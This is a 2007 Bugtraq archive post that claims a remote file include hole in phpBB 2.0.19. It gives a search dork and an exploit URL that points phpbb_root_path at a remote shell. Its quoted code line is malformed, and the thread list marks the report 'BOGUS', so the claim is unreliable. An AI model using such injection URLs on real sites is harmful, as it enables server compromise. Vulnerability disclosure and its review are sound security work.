Bugtraq mailing list archives

Remote File Include In phpBB-2.0.19

From: "RaeD Hasadya" <raed () bsdmail com>
Date: Sun, 25 Mar 2007 02:23:05 +0800

By Hasadya Raed
Contact : RaeD () BsdMail Com | Israel
--------------------------------------------------
Script : phpBB-2.0.19
Dork : phpBB-2.0.19 
--------------------------------------------------
B.File : 
usercp_register.php
--------------------------------------------------
V.Code : 
include($phpbb_root_path . '); 
--------------------------------------------------
Exploit : 
http://www.Victim.Com/Path_Script/includes/usercp_register.php?phpbb_root_path=[Shell-Attack]



  



-- 
_______________________________________________
Get your free email from http://bsdmail.com

Current thread:

Remote File Include In phpBB-2.0.19 RaeD Hasadya (Mar 24)
- BOGUS: Remote File Include In phpBB-2.0.19 Cornelius Riemenschneider (Mar 26)
- <Possible follow-ups>
- Re: Remote File Include In phpBB-2.0.19 neothermic (Mar 26)